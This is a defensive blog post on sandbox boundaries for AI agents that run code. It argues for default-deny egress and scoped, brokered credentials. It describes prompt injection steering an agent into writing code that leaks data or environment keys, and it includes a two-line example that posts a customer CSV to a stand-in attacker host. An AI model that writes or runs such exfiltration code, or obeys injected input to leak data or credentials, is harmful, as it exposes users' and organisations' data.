All posts
Agentic AI

A sandbox is only as strong as its boundary

The last post argued that code execution must be sandboxed. Suppose you did it: the code runs isolated from your host, capped on resources, disposable. Step one, done.

A sandbox is defined by its boundary, though, and two things routinely cross it that quietly undo the isolation. A sandbox that locks the filesystem and leaves the network and the secrets open is not protecting what you think.

The boundary is the whole point

Isolation is not a wall around nothing. A sandbox is useful precisely because some things cross the boundary on purpose: the code goes in, the result comes back. The security question is never "is there a boundary?" It is "what is allowed across it, in each direction?"

Get that wrong and you have a container that stops the code touching /etc/passwd while letting it mail your customer data to an attacker. The filesystem is isolated; the thing that mattered is not.

Leak one: an open network exfiltrates everything

The sharpest boundary failure is outbound network access. If the sandbox can reach the internet, then any code it runs can send data out of it.

Follow the chain. The agent, steered by injected input, writes code inside the sandbox. That code has access to whatever the agent brought into the sandbox to work on: the spreadsheet it was analysing, the documents it retrieved, the query results it fetched. With open egress, one line of that code sends all of it to an address the attacker controls.

inside the sandbox (code the model was led to write):
   data = open("customer_export.csv").read()
   post("https://attacker.example/collect", data)   # open egress = exfiltration

Nothing here broke out of the sandbox. It did not need to. The data was already inside, and the network was the exit. Isolation from the host kept the attacker off your machine and did nothing to stop your data walking out the front door.

The fix is default-deny egress: the sandbox reaches nothing unless you explicitly allow a specific domain it genuinely needs. A sandbox that cannot phone home cannot exfiltrate, no matter what code it is tricked into running.

Filesystem isolation with open egress: the code cannot read the host, and it mails your data out anyway.Filesystem isolation with open egress: the code cannot read the host, and it mails your data out anyway.

Leak two: secrets inside the sandbox hand over the keys

The second failure is putting credentials where the code can read them.

A sandbox often needs to do real work: call an API, query a database, reach a service. The lazy way to enable that is to drop the API key or the database password into the sandbox's environment, where the agent's code can pick it up. Now injected code does not need to break anything. It reads the environment, finds the key, and either uses it or exfiltrates it.

The sandbox isolated the host's secrets, exactly as the last post promised, and then you handed it a fresh set of secrets to leak. A boundary that keeps out the host's .env is worth little if you copy the important keys into the sandbox's own .env.

The fix is that the sandbox holds the least it can. Where it must call a service, front that call with a narrow, scoped credential, ideally one held outside the sandbox by a broker the code asks to act on its behalf, rather than a broad key sitting in the sandbox's environment for any code to grab.

The boundary, mapped both ways

A sandbox has two directions and both need governing.

DirectionWhat crossesThe leakThe control
InThe code, the data to work onSensitive data brought in unnecessarilyBring in only what the task needs
InCredentials for real workKeys sitting in the sandbox envScoped, brokered credentials, not broad keys inside
OutThe resultEverything else, via open egressDefault-deny network, allow-list specific domains
OutNetwork requestsExfiltration to any addressNo egress unless explicitly permitted

Govern both directions: bring in only what is needed, and let out only the result, over a default-deny network.Govern both directions: bring in only what is needed, and let out only the result, over a default-deny network.

Why this is worse than no sandbox

A missing sandbox is a known, visible risk: you know you are running raw code and you watch it. A sandbox with an open boundary is an invisible one, because the word "sandbox" tells everyone the risk is handled, so nobody looks. The false comfort is the danger. A team that believes it is isolated stops checking egress, stops rotating the key in the sandbox, stops asking what data went in, precisely because "we sandbox everything" sounds like an answer.

An isolated filesystem with open egress and a broad key in its environment is not a sandbox with a couple of gaps. It is a data-exfiltration pipeline that happens to also run code.

What this touches

For the frameworks, this sits on the MAESTRO Agent Frameworks and Deployment layers. A sandbox whose boundary is misconfigured maps to T3 Privilege Compromise, which the pack ties explicitly to misconfigurations and over-broad permissions, here the excess of open egress and available credentials. The code that exploits it to exfiltrate maps to T11 Unexpected RCE and Code Attacks. In the OWASP Agentic Top 10 the anchors are ASI03 and, for the code side, ASI05.

On the regulatory side, framed as scope rather than a citation: data protection, confidentiality and access control are foundational obligations across GCC rulebooks, and a sandbox that can send customer data to any address is a disclosure exposure those rules already govern, even though they pictured a leaking application rather than a leaking code environment. Which obligations apply depends on your regulator and architecture, and that mapping is an advisory estimate until someone checks it properly.

The part worth keeping

Sandboxing is right, and the last post argued for it without reservation. This post does not walk that back; it finishes the job. A sandbox is only as good as its boundary, and the boundary has two directions.

Lock down what comes in, so the sandbox holds only the data the task needs and no broad credentials. Lock down what goes out, so the network is default-deny and only the result crosses back. Do that and the sandbox is the control the last post promised. Skip it and you have built an isolated room with the window wide open.